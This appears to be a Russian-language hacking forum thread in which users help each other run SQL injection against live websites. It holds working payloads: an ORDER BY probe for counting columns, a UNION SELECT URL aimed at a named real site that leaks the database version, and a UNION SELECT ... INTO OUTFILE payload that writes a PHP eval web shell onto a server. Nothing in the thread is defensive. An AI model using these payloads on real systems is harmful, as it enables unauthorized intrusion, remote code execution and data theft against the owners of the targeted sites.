Все равно вывести ничего не получается((((

но т.к. стоит ORDER BY то union после него уже не работает.....
обойти можно токо заключив все селекты в скобки... и использовав UNION ALL. но сдесь это зделать нельзя.. так что ищи еще скули перед ордером.)

Не обязательно я не спорю, но я дал пример с использованием функции ascii(), и запрос тем самым не испортил, просто сравниваю код символа, а не символ.
ps думаю ты меня понял...

Нужно обратить внимание на саму ошибку

Query: SELECT * FROM d2ladder WHERE game = 'D2XP' and type='SC' ORDER BY 10/* DESC LIMIT 0,50
Error: Unknown column '10' in 'order clause'

в переменную sortBy мы передаем значение которое подставляется в конструкцию ORDER BY. Из этого можно сделать вывод, что в таблице d2ladder 9 колонок.
А вообще иньекция интересная, есть над чем подумать...

_Pantera_
ок 9 колонок ) только как ты запрос устроишь ? )

Народ,а при залитии шелла через скулю можно как-то обойти ругательство на кавычки ? =______________=.

Вот: http://site.com/news.php?id=-17+union+select+1,'<?php%20eval($_GET[‘e’]);?>',3+into+outfile+'/usr/local/www/data/partners.php'--

Выдаёт: Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in /usr/local/www/data/news.php on line 35

Ужс какой-то...

Велемир, нельзя

День добрый. Подскажите пожалуйста, как корректно оформить запрос к этому ресурсу:
http://www.clubiki.ru/index.php?page=item&id=24696)+union+select+(1

Заранее спсибо.

http://www.clubiki.ru/index.php?page=item&id=-24696)%20union%20select%201,2,version(),4,5,6/*

__________________
Не занимаюсь коммерцией в любых ее проявлениях.